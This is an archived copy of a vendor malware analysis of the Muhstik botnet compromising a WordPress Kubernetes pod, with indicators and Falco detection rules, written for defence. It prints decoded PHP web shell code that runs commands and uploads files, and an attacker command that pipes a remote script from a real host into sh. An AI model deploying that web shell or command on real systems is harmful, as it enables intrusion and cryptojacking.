{
	"id": "09df436b-c6d1-4c63-8922-1ba0aed5d117",
	"created_at": "2026-04-06T00:12:42.106404Z",
	"updated_at": "2026-04-10T03:21:00.405544Z",
	"deleted_at": null,
	"sha1_hash": "487b84f8872ca3e179e9626659af38467bb9e6d6",
	"title": "Hands-On Muhstik Botnet: crypto-mining attacks targeting Kubernetes",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 3151724,
	"plain_text": "Hands-On Muhstik Botnet: crypto-mining attacks targeting\r\nKubernetes\r\nBy Stefano Chierici\r\nPublished: 2021-11-16 · Archived: 2026-04-05 21:32:35 UTC\r\nPublished:\r\nNovember 16, 2021\r\nTable of contents\r\nfalco feeds by sysdig\r\nFalco Feeds extends the power of Falco by giving open source-focused companies\r\naccess to expert-written rules that are continuously updated as new threats are\r\nhttps://sysdig.com/blog/muhstik-malware-botnet-analysis/\r\nPage 1 of 16\n\ndiscovered.\r\nlearn more\r\nMalware is continuously mutating, targeting new services and platforms. The Sysdig Security Research team has\r\nidentified the famous Muhstik Botnet with new behavior, attacking a Kubernetes Pod with the plan to control\r\nthe Pod and mine cryptocurrency.\r\nA WordPress Kubernetes Pod was compromised by the Muhstik worm and added to the botnet. On the Pod has\r\nbeen deployed and executed various types of crypto miners, like xmra64 and xmrig64 .\r\nhttps://sysdig.com/blog/muhstik-malware-botnet-analysis/\r\nPage 2 of 16\n\nThis attack confirms what we've been seeing for quite some time; Crypto miner attacks are on the rise, and they\r\ncome in many different forms. The fact that crypto currency prices are over the roof is only making things worse.\r\nWe will cover the characteristics of Muhstik Malware, the step-by-step of this particular attack, and how to protect\r\nyour infrastructure against it.\r\nWhat is Muhstik Malware?\r\nMuhstik malware has been around since 2017, and we assume that it is based on a fork of the Mirai code and is\r\ncurrently affecting the cloud by way of several web application exploits.\r\nThe botnet is monetized via cryptomining and with DDoS attack services.\r\nIt targets a wide variety of web applications, including WordPress, Drupal, and WebDAV, Oracle's WebLogic\r\napplication server, as well an assortment of Internet-of-Things (IoT) and Small Office/Home Office (SOHO)\r\ndevices.\r\nMuhstik uses its botnet to mount sizable distributed denial-of-service (DDoS) attacks, but it will also install\r\nseveral cryptocurrency miners on affected systems.\r\nStep-by-step Muhstik behavior\r\nLet's start with a quick overview of the attack behavior and the main steps executed, from the Pod compromisation\r\nto the cryptomining activities.\r\nThe attack uncovered went as follows:\r\n1. WordPress admin login configured with default credentials in the honeypot account was attacked\r\nhttps://sysdig.com/blog/muhstik-malware-botnet-analysis/\r\nPage 3 of 16\n\n1. The header.php file was used to upload a malicious PHP page\r\nE3DC4533F48E7161DA720C6FD3591710.php\r\n2. The malicious PHP code loads files and executes remote commands.\r\n2. The code pty3 uploaded was executed on the Pod.\r\n3. Then, pty3 spawned a new process called ggop6b5pqkmfrfd and connected to the botnet.\r\n1. The file was copied in different directories.\r\n2. Created entry in file rc.local for persistence.\r\n3. Created /etc/inittab file using respawn function always for persistence.\r\n4. xmrig64 crypto miner binary was executed on the machine.\r\n5. The malicious remote script was downloaded and executed on the Pod http://118.24.84.121/wp-content/themes/twentyfifteen/kn | sh\r\n1. Other pty files were downloaded and executed.\r\n6. Then, the xmra64 crypto binary miner was downloaded from 178.62.105.90 IP addresses and executed\r\non the Pod using the mining pools on the 185.165.171.78, 185.86.148.14 IP addresses.\r\nLet's dig deeper into the details of this Muhstik malware, how this botnet works in detail, the exact commands that\r\nare run, the communication between the servers, and finally, how to detect this attack with open source Falco.\r\nMuhstik Malware in depth\r\n#1 Initial access – Encrypted PHP web shell\r\nDefault WordPress credentials were exploited in our honeypot and the WordPress header.php file was updated\r\nwith the following string.\r\nAs we can understand from the clear text code at the end, the PHP function file_put_contents was used to\r\ncreate a new file and put the encrypted code in it.\r\n\"; file_put_contents(\"E3DC4533F48E7161DA720C6FD3591710.php\", $data); } ?\u003e\r\nTo find the real code executed, we need to revert the decryption process starting from the string base64 we have\r\nhere. In this case, we have a triple encoding:\r\nBase_64 encoding: Method used to encode text or code to better send it without error and bypass\r\ndetection.\r\nRot13 substitution cipher: A simple shifting character rotation of ASCII letters.\r\nCompression: Gzip compression applied to get 'text' which can be used via a web 'POST' requests.\r\nDecrypting the code added by the attacker, we can see it is a PHP web shell, used to execute commands and\r\nupload files on the Pod. Let's go deeper into the static analysis of the most relevant part of the code.\r\nThe first part of the PHP code is used to download more malware files. We explain deeper in the next section.\r\nif (isset($_GET['wie'])) { $arr = array(\"who\" =\u003e array(\"os_name\" =\u003e php_uname('s'), \"uname_version_info\" =\u003e\r\nphp_uname('v'), \"machine_type\" =\u003e php_uname('m'), \"kernel\" =\u003e php_uname('r'), \"php_uname\" =\u003e php_uname(),\r\nhttps://sysdig.com/blog/muhstik-malware-botnet-analysis/\r\nPage 4 of 16\n\n\"is64bit\" =\u003e PHP_INT_SIZE === 4 ? false : true)); print (json_encode($arr)); exit; } elseif (isset($_GET['knal']))\r\n{ $comd = $_GET['knal']; echo \"\r\n\" . shell_exec($comd) . \"\"; exit; } elseif (isset($_POST['submit'])) { $uploaddir = pwd(); if (!$name =\r\n$_POST['newname']) { $name = $_FILES['userfile']['name']; } move_uploaded_file($_FILES['userfile']\r\n['tmp_name'], $uploaddir . $name); if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir .\r\n$name)) { echo \"Upload Failed\"; } else { echo \"Upload Success to \" . $uploaddir . $name . \" :D \"; }…\r\nHere, check the session and the authentication with the botnet.\r\nif (!isset($_SESSION[md5($_SERVER['HTTP_HOST']) ])) { if (empty($auth_pass) || (isset($_POST['pass']) \u0026\u0026\r\n(md5($_POST['pass']) == $auth_pass))) { $_SESSION[md5($_SERVER['HTTP_HOST']) ] = true; } else {\r\nprintLogin(); } }\r\nThe PHP code below is used to obtain information about the current user, and is signed by the Muhstik malware.\r\necho \"\r\n\"; $cur_user = \"(\" . get_current_user() . \")\"; echo \"User : uid=\" . getmyuid() . $cur_user . \" gid=\" . getmygid() .\r\n$cur_user . \"\r\n\"; echo \"Uname : \" . php_uname() . \"\r\n\";\r\nThis last portion of the PHP code is used as a backdoor communication to send the commands from the botnet.\r\nWe can observe cmd , dir , or ls -la commands.\r\nif (isset($_POST['command'])) { $cmd = $_POST['cmd']; echo \"\r\n\" . shell_exec($cmd) . \"\"; } else { if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { echo \"\" . shell_exec('dir') .\r\n\"\"; } else { echo \"\" . shell_exec('ls -la') . \"\"; } }\r\n#2 Propagation – pty3 dropped on the Pod\r\nThe first malware file dropped and executed on the Pod using the web shell created was the binary pty3 . We use\r\nan external service to analyze the binary, Virustotal, which helps us to detect, with several AVs, what type of\r\nmalware it is.\r\nhttps://sysdig.com/blog/muhstik-malware-botnet-analysis/\r\nPage 5 of 16\n\nThis particular binary was reported for the first time in April, 2021, and 32 intelligence sources have confirmed\r\nthat it is, indeed, malware. There are a lot of versions of pty3 malware in the wild that are related to the\r\nMuhstik botnet, however, it seems to be a recent version.\r\nIn our malware analysis, we use our honeypot to follow the malware behavior and its goal.\r\nIf this were a regular production server, we would have a plan to incident response, immediately isolate the\r\nbinary, investigate the source, and enhance our security for future incidents.\r\n#3 Runtime analysis – pty3 malware executed inside the Pod\r\nThe malware file pty3 was executed right after it was dropped on the Pod. To follow what pty3 is doing, we\r\nused the open source tool, Sysdig Inspect, to visualize system calls.\r\nLet's see the activities performed by the malware in detail.\r\n#3.1 Checking network tools running in the Pod\r\nAs the first action, the malware checks if network dump tools are in execution in the Pod. The two binaries\r\nchecked are tcpdump and strace .\r\nhttps://sysdig.com/blog/muhstik-malware-botnet-analysis/\r\nPage 6 of 16\n\nThis is a typical process to discover and identify new targets to infect with the malware, using system binaries in\r\nthe process or GTFOBins.\r\n#3.2 Persistence phase\r\nTo make sure the Muhstik malware will be rerun if the process dies or the machine is restarted, the malware\r\nneeds to spread itself in the Pod and perform some actions.\r\nIn this case, the pty3 binary performed special measures to achieve persistence in the machine.\r\nFirst of all, the pty3 started copying itself in different directories for persistence purpose:\r\n/tmp/pty3\r\n/dev/shm/pty3\r\n/var/tmp/pty3\r\n/var/lock/pty3\r\n/var/run/pty3\r\nThen, it tried to execute crontab, although the crontab binary wasn't available inside the Pod. It succeeded instead\r\nof executing persistence via /etc/inittab , adding the following lines.\r\nUsing the respawn function ensures that if the process dies, it will be respawned automatically without losing the\r\ncompromised host/Pod.\r\nThe Muhstik malware also added itself in the rc.local file for the same purposes as shown in the following\r\nscreenshot.\r\nhttps://sysdig.com/blog/muhstik-malware-botnet-analysis/\r\nPage 7 of 16\n\n#3.3 Establishing C\u0026C communication with the Botnet\r\nAt this point, the malware needs to communicate and send instructions to the zombie Pod. In the following image,\r\nwe can see the PING / PONG communication between the process ggop6b5pqkmfrfd and the webserver.\r\nIt resembles other malware and C\u0026C protocols, capturing information about the target and communicating back\r\nwith updated attack payloads.\r\nLet's stop for a moment to summarize the activities done so far by the malware dropped:\r\n1. Spawn a new process to connect to the botnet.\r\n2. Check tools running inside the host/Pod to discover new Pods to infect.\r\n3. Replicate itself in different locations for persistence.\r\n4. Run crontab by creating and editing /etc/inittab to get persistence.\r\n#4 Crypto miners in action\r\nThe goal of the Muhstik botnet, after infecting the victim, is to monetize the resources it infects. Muhstik\r\nmalware downloads two binaries in the Kubernetes Pods it controls, and starts cryptomining.\r\n#4.1 xmrig64 binary downloaded and executed on the Pod\r\nhttps://sysdig.com/blog/muhstik-malware-botnet-analysis/\r\nPage 8 of 16\n\nOnce the malware infection is complete, after having connected the Pod to the botnet, the attacker uploaded and\r\nexecuted the xmrig64 binary using the PHP web shell.\r\nFrom the screen below, using Inspect, we can detect the miner connecting to the IP pool 186.86.148.14 with port\r\n8081 and start sharing information.\r\n#4.2 xmra64 binary behavior\r\nUsing the ggop6b5pqkmfrfd process running in the Pod, the Muhstik botnet downloaded the crypto miner binary\r\nxmra64 from the IP 178.62.105.90 executing the wget and curl commands.\r\nhttps://sysdig.com/blog/muhstik-malware-botnet-analysis/\r\nPage 9 of 16\n\nOnce downloaded, ggop6b5pqkmfrfd prepared the binary for execution. We can see how it used chmod to set the\r\nexecution bit.\r\nWe uploaded this xmra64 binary again and the report was very similar. It is a well-known crypto miner.\r\nhttps://sysdig.com/blog/muhstik-malware-botnet-analysis/\r\nPage 10 of 16\n\nTwo crypto miner pools were specified when launching the crypto miner binary:\r\n185.165.171.78\r\n185.86.148.14\r\nFrom the following screen, we can see the miner started communicating with the pool.\r\n#5 More malware binaries – Other pty files dropped on the Pod\r\nAfter running the first miner, the other pty files were dropped on the Pod downloading and executing a script,\r\nwhich we detect again with Inspector.\r\nhttps://sysdig.com/blog/muhstik-malware-botnet-analysis/\r\nPage 11 of 16\n\nLooking at the file downloaded, we can see the code executed and from where the file was downloaded.\r\nWe can see the file pty* , which might be different versions of the pty3 file executed before, are downloaded\r\nfrom the IP 167.99.39.134/.x/ .\r\nSummary of IOC and suspicious activities\r\nIPs \u0026 URLs\r\nhttp://118.84.24.121:80/wp-content/themes/twentyfifteen/kn\r\nhttp://167.99.39.134/.x/\r\nhttp://178.62.105.90:80/wp-content/themes/twentyfifteen/xmra64\r\n185.86.148.14:8081\r\n185.165.171.78:8081\r\n46.149.233.35:8080\r\nFiles and their MD5:\r\nE3DC4533F48E7161DA720C6FD3591710.php\r\nhttps://sysdig.com/blog/muhstik-malware-botnet-analysis/\r\nPage 12 of 16\n\n4dc3298cdbf565cc897a922807a2809667535c5a\r\npty3\r\n61586a0c47e3ae120bb53d73e47515da4deaefbb\r\nxmrig64\r\nde64b454420c64fc160a9c6c705896ae0e26d8db\r\nxmra64\r\n497f4e24464a748c52f92de1fba33551\r\nSuspicious activities\r\nThere are a few suspicious activities worth mentioning in our Muhstik malware analysis:\r\nwget is launched in runtime, not build time.\r\nNetwork communication with the miner pool.\r\nA CPU usage surge due to an unknown process launched.\r\nOnce we have identified these activities, we see how we can perform their detection.\r\nDetecting the Muhstik botnet with Falco\r\nFalco is the CNCF open-source project for runtime threat detection for containers and Kubernetes.\r\nOne of the benefits of Falco is in leveraging its powerful and flexible rules language. As a result, Falco will\r\ngenerate security events when it finds abnormal behaviors, as defined by a customizable set of rules. Meanwhile,\r\nFalco comes with a handful of out-of-the-box detection rules.\r\nCustomizing the rules reported here, it's possible to detect crypto miners' behaviors through connections using\r\nthe IPs mentioned in this article, and proactively detect other connections to well-known crypto miners'\r\ndomains.\r\n# Note: falco will send DNS request to resolve miner pool domain which may trigger alerts in your environment.\r\n- rule: Detect outbound connections to common miner pool ports\r\ndesc: Miners typically connect to miner pools on common ports.\r\ncondition: net_miner_pool and not trusted_images_query_miner_domain_dns\r\nexceptions:\r\n- name: proc_sport_sipname\r\nfields: [proc.name, fd.sport, fd.sip.name]\r\nenabled: false\r\noutput: Outbound connection to IP/Port flagged by cryptoioc.ch (command=%proc.cmdline port=%fd.rport\r\nip=%fd.rip container=%container.info image=%container.image.repository)\r\npriority: CRITICAL\r\ntags: [network, mitre_execution]\r\n- rule: Container Drift Detected (chmod)\r\ndesc: New executable created in a container due to chmod\r\nhttps://sysdig.com/blog/muhstik-malware-botnet-analysis/\r\nPage 13 of 16\n\ncondition: \u003e\r\nchmod and\r\nconsider_all_chmods and\r\ncontainer and\r\nnot runc_writing_var_lib_docker and\r\nnot user_known_container_drift_activities and\r\nevt.rawres\u003e=0 and\r\n((evt.arg.mode contains \"S_IXUSR\") or\r\n(evt.arg.mode contains \"S_IXGRP\") or\r\n(evt.arg.mode contains \"S_IXOTH\"))\r\nexceptions:\r\n- name: proc_name_image_suffix\r\nfields: [proc.name, container.image.repository]\r\ncomps: [in, endswith]\r\n- name: cmdline_file\r\nfields: [proc.cmdline, fd.name]\r\ncomps: [in, in]\r\nvalues:\r\n- [[\"runc:[1:CHILD] init\"], [/exec.fifo]]\r\noutput: Drift detected (chmod), new executable created in a container (user=%user.name\r\nuser_loginuid=%user.loginuid command=%proc.cmdline filename=%evt.arg.filename name=%evt.arg.name\r\nmode=%evt.arg.mode event=%evt.type)\r\npriority: ERROR\r\n- rule: Outbound Connection to C2 Servers\r\ndesc: Detect outbound connection to command \u0026 control servers\r\ncondition: outbound and fd.sip in (c2_server_ip_list)\r\nexceptions:\r\n- name: proc_proto_sport\r\nfields: [proc.name, fd.l4proto, fd.sport]\r\noutput: Outbound connection to C2 server (command=%proc.cmdline connection=%fd.name user=%user.name\r\nuser_loginuid=%user.loginuid container_id=%container.id image=%container.image.repository)\r\npriority: WARNING\r\ntags: [network]\r\nYou can see the full rule descriptions on GitHub.\r\nIf you would like to find out more about Falco, check out the Falco project on GitHub.\r\nDetecting the Muhstik with Sysdig Secure\r\nThe Sysdig Secure DevOps Platform is built on top of Falco, and was used to detect this particular attack.\r\nWith the help of Sysdig Secure image profiling, DevOps can:\r\nhttps://sysdig.com/blog/muhstik-malware-botnet-analysis/\r\nPage 14 of 16\n\nCreate a policy to detect any port bind and listen to activities from random processes.\r\nCreate a policy to detect any destination IPs that are not on the white list.\r\nCreate a policy to detect any processes launched that are not in the whitelist (e.g., wget , pty* ,\r\nxmrig64 , xmra64 ).\r\nThe miner_ports list is already part of the Out of the Box rules for Sysdig Secure. The cryptominer_IP_IOC\r\ninstead includes the IPs reported in the IoCs section, related to the miner activities.\r\nConclusion\r\nThis incident confirms a trend of cryptomining attacks being on the rise, and they are getting more creative as\r\ntime goes on. The Sysdig research team analyzes other malware, like serv-hello or Shellbot, with similar behavior.\r\nAs a system administrator, you must use the proper tools to prevent and detect these attacks. Without deep\r\ninsight into the process activities, file activities, and network activities from your cloud native environment, and\r\nthe help from a smart detection engine, it will be hard to detect such an attack. It will be even more difficult to\r\nuncover it.\r\nIt is also important to note that unified security and monitoring solutions will speed up the investigation\r\nprocess. Once you identify a single suspicious event, it helps you trace down the event from different angles, such\r\nhttps://sysdig.com/blog/muhstik-malware-botnet-analysis/\r\nPage 15 of 16\n\nas resource usage, network connections, and reading sensitive files.\r\nAt Sysdig Secure, we extend Falco with out-of-the-box rules, along with other open source projects, making it even\r\neasier to work with and manage Kubernetes security. Register for our free 30-day trial and see for yourself!\r\nThe Sysdig Secure DevOps Platform provides security to confidently run containers, Kubernetes, and cloud\r\nservices. With Sysdig, you can secure the build pipeline, detect and respond to runtime threats, continuously\r\nvalidate compliance, and monitor and troubleshoot cloud infrastructure and services. Try it today!\r\nKubernetes \u0026 Container Security\r\nThreat Research\r\nfeatured resources\r\nTest drive the right way to defend the cloudwith a security expert\r\nSource: https://sysdig.com/blog/muhstik-malware-botnet-analysis/\r\nhttps://sysdig.com/blog/muhstik-malware-botnet-analysis/\r\nPage 16 of 16",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://sysdig.com/blog/muhstik-malware-botnet-analysis/"
	],
	"report_names": [
		"muhstik-malware-botnet-analysis"
	],
	"threat_actors": [],
	"ts_created_at": 1775434362,
	"ts_updated_at": 1775791260,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/487b84f8872ca3e179e9626659af38467bb9e6d6.pdf",
		"text": "https://archive.orkl.eu/487b84f8872ca3e179e9626659af38467bb9e6d6.txt",
		"img": "https://archive.orkl.eu/487b84f8872ca3e179e9626659af38467bb9e6d6.jpg"
	}
}